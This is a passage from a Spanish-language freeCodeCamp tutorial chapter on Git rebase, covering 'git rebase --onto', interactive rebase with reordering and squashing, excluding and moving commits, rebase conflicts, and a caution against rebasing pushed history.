</code></pre><p>Oh espera, ahora me doy cuenta que quería que tú hicieras los cambios introducidos en "Commit 11" como parte de <code>new_branch</code>. Ugh. ¿Qué puedes hacer?</p><p>Considera el historial:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/history_after_commit_12-2.png" class="kg-image" alt="The history after introducing &quot;Commit 12&quot;" width="600" height="400" loading="lazy"><figcaption>The history after introducing "Commit 12"</figcaption></figure><p>En vez de tener que "Commit 11" resida solamente en la rama <code>main</code>, quiero que esté en <em><em>ambas</em></em> ramas <code>main</code> y <code>new_branch</code>. Visualmente, quisiera <em><em>moverlo</em></em> hacia abajo en el gráfico aquí:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/push_commit_10_down.png" class="kg-image" alt="Visually, I want you to &quot;push down&quot; &quot;Commit 10&quot;" width="600" height="400" loading="lazy"><figcaption>Visually, I want you to "push down" "Commit 10"</figcaption></figure><p>¿Puedes ver a dónde estoy yendo? 😇</p><p>Bueno, <code>rebase</code> te permite básicamente repetir los cambios introducidos en <code>new_branch</code>, aquellos introducidos en "Commit 10", como si hayan sido originalmente realizados sobre "Commit 11", en vez de "Commit 4".</p><p>Para hacer eso, puedes usar otros argumentos de <code>git rebase</code>. Específicamente, puedes usar <code>git rebase --onto</code>, el cual opcionalmente toma tres parámetros:</p><pre><code class="language-bash">git rebase --onto &lt;new_parent&gt; &lt;old_parent&gt; &lt;until&gt;
</code></pre><p>Eso es, tomas todas las confirmaciones entre <code>old_parent</code> y <code>until</code>, y los "cortas" y "pegas" <em><em>en</em> </em><code>new_parent</code>.</p><p>En este caso, le dirías a Git que quieres tomar todo el historial introducidos entre el ancestro común de <code>main</code> y <code>new_branch</code>, el cual es "Commit 4", y que sea la nueva base para ese historial "Commit 11". Para hacer eso, usa:</p><pre><code class="language-bash">git rebase --onto &lt;SHA_OF_COMMIT_11&gt; main new_branch
</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/rebase_onto_1.png" class="kg-image" alt="The history before and after the rebase, &quot;Commit 10&quot; has been &quot;pushed&quot;" width="600" height="400" loading="lazy"><figcaption>The history before and after the rebase, "Commit 10" has been "pushed"</figcaption></figure><p>¡Y mira nuestro hermoso historial! 😍</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/rebase_onto_2.png" class="kg-image" alt="The history before and after the rebase, &quot;Commit 10&quot; has been &quot;pushed&quot;" width="600" height="400" loading="lazy"><figcaption>The history before and after the rebase, "Commit 10" has been "pushed"</figcaption></figure><p>Consideremos otro caso.</p><p>Digamos que empecé a trabajar en una nueva característica, y por error comencé a trabajar desde <code>feature_branch_1</code>, en lugar de <code>main</code>.</p><p>Así que para emular esto, crea <code>feature_branch_1</code>:</p><pre><code class="language-bash">git checkout main
git checkout -b feature_branch_1
</code></pre><p>Y elimina <code>new_branch</code> así ya no lo ves en el gráfico:</p><pre><code class="language-bash">git branch -D new_branch
</code></pre><p>Crea un archivo Python sencillo llamado <code>1.py</code>:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/1_py_1.png" class="kg-image" alt="A new file, , with " width="600" height="400" loading="lazy"><figcaption>A new file, <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">1.py</code>, with <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">print('Hello world!')</code></figcaption></figure><p>Pónlo en el área de preparación y confirma este archivo:</p><pre><code class="language-bash">git add 1.py
git commit -m  "Commit 13"
</code></pre><p>Ahora haz una nueva rama desde <code>feature_branch_1</code> (este es el error arreglará luego):</p><pre><code class="language-bash">git checkout -b feature_branch_2
</code></pre><p>Y crea otro archivo, <code>2.py</code>:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/2_py_1.png" class="kg-image" alt="Creating " width="600" height="400" loading="lazy"><figcaption>Creating <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">2.py</code></figcaption></figure><p>Pónlo en el área de preparación y confirma este archivo también:</p><pre><code class="language-bash">git add 2.py
git commit -m  "Commit 14"
</code></pre><p>E introduce algo de código a <code>2.py</code>:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/2_py_2.png" class="kg-image" alt="Modifying " width="600" height="400" loading="lazy"><figcaption>Modifying <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">2.py</code></figcaption></figure><p>Pónlo en el área de preparación y confirma estos cambios también:</p><pre><code class="language-bash">git add 2.py
git commit -m  "Commit 15"
</code></pre><p>Hasta ahora tendrías este historial:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/history_after_commit_15.png" class="kg-image" alt="The history after introducing &quot;Commit 15&quot;" width="600" height="400" loading="lazy"><figcaption>The history after introducing "Commit 15"</figcaption></figure><p>Vuelve a <code>feature_branch_1</code> y edita <code>1.py</code>:</p><pre><code class="language-bash">git checkout feature_branch_1
</code></pre><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/1_py_2.png" class="kg-image" alt="Modifying " width="600" height="400" loading="lazy"><figcaption>Modifying <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">1.py</code></figcaption></figure><p>Ahora pónlo en el área de preparación y confirma:</p><pre><code class="language-bash">git add 1.py
git commit -m  "Commit 16"
</code></pre><p>Tu historial debería lucir así:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/history_after_commit_16-1.png" class="kg-image" alt="The history after introducing &quot;Commit 16&quot;" width="600" height="400" loading="lazy"><figcaption>The history after introducing "Commit 16"</figcaption></figure><p>Digamos que ahora te das cuenta que cometiste un error. En realidad querías que <code>feature_branch_2</code> naciera de la rama <code>main</code>, en vez de <code>feature_branch_1</code>.</p><p>¿Cómo puedes lograr eso?</p><p>Trata de imaginarlo dado el gráfico del historial y lo que has aprendido sobre el argumento <code>--onto</code> para el comando <code>rebase</code>.</p><p>Bueno, quieres "reemplazar" el antecesor de tu primera confirmación en <code>feature_branch_2</code>, el cual es "Commit 14", que está por encima de la rama <code>main</code> - en este caso, "Commit 12" - en vez del comienzo de <code>feature_branch_1</code> - en este caso, "Commit 13". Así que devuelta, estarás creando una <em><em>nueva base</em></em>, esta vez para la primera confirmación en <code>feature_branch_2</code>.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/plan_commit14_15.png" class="kg-image" alt="You want to move around &quot;Commit 14&quot; and &quot;Commit 15&quot;" width="600" height="400" loading="lazy"><figcaption>You want to move around "Commit 14" and "Commit 15"</figcaption></figure><p>¿Cómo harías eso?</p><p>Primero, cambia a <code>feature_branch_2</code>:</p><pre><code class="language-bash">git checkout feature_branch_2
</code></pre><p>Y ahora puedes usar:</p><pre><code class="language-bash">git rebase --onto main &lt;SHA_OF_COMMIT_13&gt;
</code></pre><p>Esto le dice a Git que tome el historial con "Commit 13" como una base, y cambia esa base para que sea "Commit 12" (apuntado por <code>main</code>).</p><p>Como resultado, tienes a <code>feature_branch_2</code> que tiene su base en <code>main</code> en vez de <code>feature_branch_1</code>:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/rebase_onto_3.png" class="kg-image" alt="The commit history after performing rebase" width="600" height="400" loading="lazy"><figcaption>The commit history after performing rebase</figcaption></figure><p>La sintaxis del comando es:</p><pre><code class="language-bash">git rebase --onto &lt;new_parent&gt; &lt;old_parent&gt;
</code></pre><!--kg-card-begin: html--><h3 id="rebase-single-branch">Cómo hacer rebase en una sola rama</h3><!--kg-card-end: html--><p>También puedes usar <code>git rebase</code> mientras miras el historial de una sola rama.</p><p>Veamos si puedes ayudarme aquí.</p><p>Digamos que trabajé en <code>feature_branch_2</code>, específicamente edité el archivo <code>code.py</code>. Comencé cambiando todas las cadenas para que sean envueltos por doble comillas en vez de comillas simples.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/code_py_4.png" class="kg-image" alt="Changing  into  in " width="600" height="400" loading="lazy"><figcaption>Changing <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">'</code> into <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">"</code> in <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">code.py</code></figcaption></figure><p>Luego, los puse en el área de preparación y los confirmé:</p><pre><code class="language-bash">git add code.py
git commit -m "Commit 17"
</code></pre><p>Luego decidí agregar una nueva función al principio del archivo:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/code_py_5.png" class="kg-image" alt="Adding the function " width="600" height="400" loading="lazy"><figcaption>Adding the function <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">another_feature</code></figcaption></figure><p>Nuevamente, los puse en el área de preparación y confirmé:</p><pre><code class="language-bash">git add code.py
git commit -m "Commit 18"
</code></pre><p>Y ahora me doy cuenta que en realidad me olvidé de cambiar las comillas simples a comillas dobles envolviendo a <code>__main__</code> (como has notado), así que hice eso también:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/code_py_6.png" class="kg-image" alt="Changing  into " width="600" height="400" loading="lazy"><figcaption>Changing <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">'__main__'</code> into <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">"__main__"</code></figcaption></figure><p>Por supuesto. puse este cambio en el área de preparación y confirmé:</p><pre><code class="language-bash">git add code.py
git commit -m "Commit 19"
</code></pre><p>Ahora, considera el historial:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/history_after_commit_19.png" class="kg-image" alt="The commit history after introducing &quot;Commit 19&quot;" width="600" height="400" loading="lazy"><figcaption>The commit history after introducing "Commit 19"</figcaption></figure><p>¿No es genial, no? O sea, tengo dos confirmaciones que están relacionados el uno al otro, "Commit 17" y "Commit 19" (cambiando los <code>'</code> a <code>"</code>), pero están separados por "Commit 18" que no está relacionado (donde agregué una nueva función). ¿Qué podemos hacer? ¿Puedes ayudarme?</p><p>Intuitivamente, quiero editar el historial aquí:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/plan_edit_commits_17_18.png" class="kg-image" alt="These are the commits I want to edit" width="600" height="400" loading="lazy"><figcaption>These are the commits I want to edit</figcaption></figure><p>Así que, ¿qué harías?</p><p>¡Exacto!</p><p>Puedo hacer <code>rebase</code> del historial de "Commit 17" a "Commit 19", por encima de "Commit 15". Para hacer eso:</p><pre><code class="language-bash">git rebase --interactive --onto &lt;SHA_OF_COMMIT_15&gt; &lt;SHA_OF_COMMIT_15&gt;
</code></pre><p>Fíjate que especifiqué "Commit 15" como el comienzo del rango de confirmaciones, excluyendo esta confirmación. Y no necesité especificar explícitamente a <code>HEAD</code> como el último parámetro.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/rebase_onto_4.png" class="kg-image" alt="Using  on a single branch" width="600" height="400" loading="lazy"><figcaption>Using <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">rebase --onto</code> on a single branch</figcaption></figure><p>(Nota: si sigues los pasos de arriba con mi repositorio y obtienes un conflicto de fusión, podrías tener una configuración distinta al de mi máquina debido a los caracteres de espacio en blanco en las líneas finales. En ese caso, puedes agregar el argumento <code>--ignore-whitespace</code>) al comando <code>rebase</code>, resultando en el siguiente comando: <code>git rebase --ignore-whitspace --interactive --onto &lt;SHA_OF_COMMIT_15&gt; &lt;SHA_OF_COMMIT_15&gt;</code>. Si quisieras saber más sobre este problema, busca <code>autocrlf</code>.)</p><p>Después de seguir tu consejo y ejecutar el comando <code>rebase</code> (¡gracias! 😇) obtengo la siguiente pantalla:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/interactive_rebase_4.png" class="kg-image" alt="Interactive rebase" width="600" height="400" loading="lazy"><figcaption>Interactive rebase</figcaption></figure><p>Así que, ¿qué haría? Quiero poner a "Commit 19" antes de "Commit 18", de esa forma viene después de "Commit 17". Puedo ir más lejos y hacer <code>squash</code> (aplastarlos juntos), así:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/interactive_rebase_5.png" class="kg-image" alt="Interactive rebase - changing the order of commit and squashing" width="600" height="400" loading="lazy"><figcaption>Interactive rebase - changing the order of commit and squashing</figcaption></figure><p>Ahora cuando se me aparece una ventana para un mensaje de confirmación, puedo proveer el mensaje "Commit 17+19":</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/interactive_rebase_6.png" class="kg-image" alt="Providing a commit message" width="600" height="400" loading="lazy"><figcaption>Providing a commit message</figcaption></figure><p>Y ahora, mira nuestro hermoso historial:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/rebase_onto_5.png" class="kg-image" alt="The resulting history" width="600" height="400" loading="lazy"><figcaption>The resulting history</figcaption></figure><p>¡Gracias nuevamente!</p><h3 id="m-s-casos-de-uso-de-rebase-m-s-pr-ctica"><strong>Más casos de uso de Rebase + Más práctica</strong></h3><p>Por ahora espero que te sientas cómodo con la sintaxis de rebase. La mejora forma de entenderlo en sí es considerar varios casos y averiguar cómo resolverlos tú mismo.</p><p>Con los casos que vienen, te recomiendo enérgicamente que dejes de leer después de lo que introduje en cada caso de uso, y luego intentes resolverlo por ti mismo.</p><h4 id="c-mo-excluir-confirmaciones">Cómo excluir confirmaciones</h4><p>Digamos que tienes este historial en otro repo:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/another_history_1.png" class="kg-image" alt="Another commit history" width="600" height="400" loading="lazy"><figcaption>Another commit history</figcaption></figure><p>Antes de jugar con él, almacena una etiqueta a "Commit F" así puedes recuperarlo más tarde:</p><pre><code class="language-bash">git tag original_commit_f
</code></pre><p>(Una etiqueta es una referencia nombrada a una confirmación, como una rama - pero no cambia cuando agregas confirmaciones adicionales. Es como una referencia nombrada constante.)</p><p>Ahora, en realidad no quieres los cambios en "Commit C" y "Commit D" que sean incluidos. Podrías usar un rebase interactivo como antes y quitar sus cambios. O, podrías usar <code>git rebase --onto</code> de nuevo. ¿Cómo usarías <code>--onto</code> para "quitar" estas dos confirmaciones?</p><p>Puedes hacer rebase de <code>HEAD</code> por encima de "Commit B", donde el antecesor viejo era en realidad "Commit D", y ahora debería ser "Commit B". Considera el historial nuevamente:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/another_history_1-1.png" class="kg-image" alt="The history again" width="600" height="400" loading="lazy"><figcaption>The history again</figcaption></figure><p>Hacer rebase para que "Commit B" sea la base de "Commit E" significa "mover" ambos "Commit E" y "Commit F", y darles otra base - "Commit B". ¿Puedes idearte el comando tú mismo?</p><pre><code class="language-bash">git rebase --onto &lt;SHA_OF_COMMIT_B&gt; &lt;SHA_OF_COMMIT_D&gt; HEAD
</code></pre><p>Fíjate que usar la sintaxis de arriba (exactamente como se proveyó) <em><em>no</em></em> haría que <em><em>main</em></em> apunte a la nueva confirmación, para que el resultado sea un <code>HEAD</code> "separado". Si usas <code>gg</code> u otra herramienta que muestra el historial alcanzable desde las ramas, te podría confundir:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/rebase_onto_6.png" class="kg-image" alt="Rebasing with  results in a detached " width="600" height="400" loading="lazy"><figcaption>Rebasing with <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">--onto</code> results in a detached <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">HEAD</code></figcaption></figure><p>Pero si simplemente usas <code>git log</code> (o mi alias <code>git lol</code>), verás el historial deseado:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_lol.png" class="kg-image" alt="The resulting history" width="600" height="400" loading="lazy"><figcaption>The resulting history</figcaption></figure><p>No sé tú, pero este tipo de cosas me hacen realmente feliz. 😊😇</p><p>Por cierto, podría omitir el <code>HEAD</code> del comando previo como si este fuera el valor predeterminado para el tercer parámetro. Así que usar:</p><pre><code class="language-bash">git rebase --onto &lt;SHA_OF_COMMIT_B&gt; &lt;SHA_OF_COMMIT_D&gt;
</code></pre><p>Tendría el mismo efecto. El último parámetro en realidad le dice a Git donde está el final de la secuencia actual de las confirmaciones para hacerles rebase. Así que la sintaxis de <code>git rebase --onto</code> con los tres argumentos es:</p><pre><code class="language-bash">git rebase --onto &lt;new_parent&gt; &lt;old_parent&gt; &lt;until&gt;
</code></pre><h4 id="c-mo-mover-confirmaciones-a-trav-s-de-las-ramas">Cómo mover confirmaciones a través de las ramas</h4><p>Así que digamos que obtenemos el mismo historial que antes:</p><pre><code class="language-bash">git checkout original_commit_f
</code></pre><p>Y ahora quiero solamente que "Commit E" esté en una rama que tenga su base en "Commit B". Eso es, quiero tener una nueva rama, que venga desde "Commit B", que tenga solamente a "Commit E".</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/another_history_2.png" class="kg-image" alt="The current history, considering &quot;Commit E&quot;" width="600" height="400" loading="lazy"><figcaption>The current history, considering "Commit E"</figcaption></figure><p>Así que, ¿qué significa esto en términos de <code>rebase</code>? Considera la imagen de arriba. ¿Qué confirmación (o confirmaciones) debería hacer rebase, y qué confirmación debería ser la nueva base?</p><p>Sé que puedo contar contigo aquí 😉</p><p>Lo que quiero es tomar el "Commit E", y solamente esta confirmación, y cambiar su base para que sea "Commit B". En otras palabras, repetir los cambios introducidos en "Commit E" en "Commit B".</p><p>¿Puedes aplicar esa lógica a la sintaxis de git rebase?</p><p>Aquí está (esta vez estoy escribiendo <code>&lt;COMMIT_X&gt;</code> en vez de <code>&lt;SHA_OF_COMMIT_X&gt;</code>, para brevedad):</p><pre><code class="language-bash">git rebase --onto &lt;COMMIT_B&gt; &lt;COMMIT_D&gt; &lt;COMMIT_E&gt;
</code></pre><p>Ahora el historial luce así:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/history_after_rebase_3.png" class="kg-image" alt="The history after rebase" width="600" height="400" loading="lazy"><figcaption>The history after rebase</figcaption></figure><p>Fíjate que <code>rebase</code> movió a <code>HEAD</code>, pero ninguna otra referencia nombrada (tales como una rama o una etiqueta). En otras palabras, estás en un estado de <code>HEAD</code> separado. Así que aquí también, usando <code>gg</code> u otra herramienta que muestre el historial alcanzable desde las ramas y de las etiquetas te podría confundir. Puedes usar <code>git log</code> (o mi alias <code>git lol</code>) para mostrar el historial alcanzable desde <code>HEAD</code>.</p><p>¡Genial!</p><h3 id="una-nota-sobre-los-conflictos"><strong>Una Nota sobre los Conflictos</strong></h3><p>Fíjate que cuando haces un rebase, podrías entrar en conflictos así como al fusionar. Podrías tener conflictos porque, cuando haces rebase, estás intentando aplicar parches en una base distinta, tal vez donde los parches no apliquen.</p><p>Por ejemplo, considera el repositorio nuevamente, y específicamente, considera el cambio introducido en "Commit 12", que es apuntado por <code>main</code>:</p><pre><code class="language-bash">git show main
</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/patch_commit_12.png" class="kg-image" alt="The patch introduced in &quot;Commit 12&quot;" width="600" height="400" loading="lazy"><figcaption>The patch introduced in "Commit 12"</figcaption></figure><p>Ya cubrí el formato de <code>git diff</code> en detalle en el <a href="#cap-6">capítulo 6</a>, pero como un recordatorio rápido, esta confirmación le instruye a Git que agregue una línea después de las dos líneas de contexto:</p><pre><code class="language-patch">```
This is a sample file
</code></pre><p>Y antes de estas tres líneas de contexto:</p><pre><code class="language-patch">```
def new_feature():
  print('new feature')
</code></pre><p>Digamos que estás intentando hacer rebase de "Commit 12" en otra confirmación. Si, por alguna razón, estas líneas de contexto no existen como sí existen en el parche de la confirmación en la que estás haciendo rebase, entonces tendrías un conflicto.</p><h3 id="al-jandose-para-ver-el-panorama-general"><strong>Aléjandose para ver el panorama general</strong></h3><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/compare_rebase_merge.png" class="kg-image" alt="Comparing rebase and merge" width="600" height="400" loading="lazy"><figcaption>Comparing rebase and merge</figcaption></figure><p>Al principio de este capítulo, comencé mencionando la similaridad entre <code>git merge</code> y <code>git rebase</code>: ambos son usados para integrar cambios introducidos en historiales distintos.</p><p>Pero, como ahora sabes, son muy distintos en cómo operan. Mientras se fusionan resultados en un historial <em><em>divergente</em></em>, hacer rebase resulta en un historial <em><em>linear</em></em>. Los conflictos son posibles en ambos casos. Y hay una columna más descrita en la tabla de arriba que requiere más atención.</p><p>Ahora que sabes qué es "Git rebase", y cómo usar el rebase interactivo o rebase <code>--onto</code>, como espero que estés de acuerdo, <code>git rebase</code> es una herramienta super poderosa. Aunque, tiene una desventaja grande cuando se compara con fusionar.</p><p><strong><strong>Git rebase cambia el historial.</strong></strong></p><p>Esto significa que <strong><strong>no</strong></strong> deberías hacer rebase de las confirmaciones que existen fuera de tu copia local del repositorio, y que otras personas podrían tener su base en sus confirmaciones.</p><p>En otras palabras, si sólo las confirmaciones en cuestión son aquellos que creaste de manera local - adelante, use rebase, enloquécete.</p><p>Pero si las confirmaciones han sido empujados (enviados), eso puede llevarte a un gran problema - ya que alguien más podría basarse en estas confirmaciones que tu luego sobreescribas, y después tú y ellos tendrás distintas versiones del repositorio.</p><p>Esto es distinto a <code>merge</code> el cual, como hemos visto, no modifica el historial.</p><p>Por ejemplo, considera el último caso donde cambiamos la base y resultó en este historial:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/history_after_rebase_3-1.png" class="kg-image" alt="The history after rebase" width="600" height="400" loading="lazy"><figcaption>The history after rebase</figcaption></figure><p>Ahora, digamos que ya empujé esta rama al remoto. Y después que he empujado la rama, otro desarrollador lo empujó e hizo una rama desde "Commit C". El otro desarrollador no sabía que mientras tanto, estuve haciendo rebase de mi rama de forma local, y luego lo subiría (empujaría) nuevamente.</p><p>Esto resulta en una inconsistencia: el otro desarrollador trabaja desde una confirmación que ya no está disponible en mi copia del repositorio.</p><p>No elaboraré exactamente lo que esto causa en este libro, ya que mi mensaje principal es que deberías evitar definitivamente tales casos. Si estás interesado en qué sucedería en sí, te dejaré un enlace a un recurso útil en las <a href="#apendices">referencias adicionales</a>. Por ahora, resumamos lo que hemos cubierto.</p><h3 id="recapitulaci-n-entendiendo-git-rebase"><strong>Recapitulación - Entendiendo Git rebase</strong></h3><p>En este capítulo, aprendiste sobre <code>git rebase</code>, una herramienta super poderosa para reescribir el histoiral en Git. Consideraste unos pocos casos donde git rebase puede ser útil, y cómo usarlo en uno, dos, o tres parámetros, con y sin el conmutador <code>--onto</code>.</p><p>Espero que haya sido capaz de convencerte que <code>git rebase</code> es poderoso - pero también que es bastante sencillo una vez que entiendes la esencia. Es una herramienta que puedes usar para "copiar-pegar" confirmaciones (o, más acertadamente, parches). Y es una herramienta útil para tener en tu cinto. En esencia, <code>git rebase</code> toma los parches introducidos por las confirmaciones, y repetirlos en un otra confirmación. Como se describió en este capítulo, esto es útil en muchos escenarios distintos.</p><h2 id="parte-2-resumen"><strong>Parte 2 - Resumen</strong></h2><p>En esta parte aprendiste a hacer ramas e integrar cambios en Git.</p><p>Aprendiste lo que es un <strong><strong>diff</strong></strong>, y la diferencia entre un diff y un <strong><strong>parche</strong></strong>. También aprendiste cómo se construye la salida de <code>git diff</code>.</p><p>Entender los diffs es un hito mayor para entender muchos otros procesos dentro de Git tales como fusionar o hacer rebase.</p><p>Después, tuviste una vista general extensiva sobre fusionar con Git. Aprendiste que la <strong><strong>fusión</strong></strong> es el proceso de <strong><strong>combinar los cambios recientes de varias ramas en una sola nueva confirmación</strong></strong>. La nueva confirmación tiene múltiples antecesores - esas confirmaciones han sido las puntas de las ramas que fueron fusionadas. En la mayoría de los casos, la fusión combina los cambios de dos ramas, y entonces la confirmación de fusión resultante tiene dos predecesores - uno de cada rama.	</p><p>Consideramos una fusión sencilla y directa, la cual es posible cuando una rama difiere de la rama base, y luego agregamos confirmaciones por encima de la rama base.</p><p>Después consideramos fusiones de tres vías, y explicamos el proceso de tres etapas:</p><ul><li>Primero, Git localiza la base de fusión. Como recordatorio, este es la primera confirmación que es alcanzable desde ambas ramas.</li><li>Segundo, Git calcula dos diffs - un diff desde la base de fusión a la 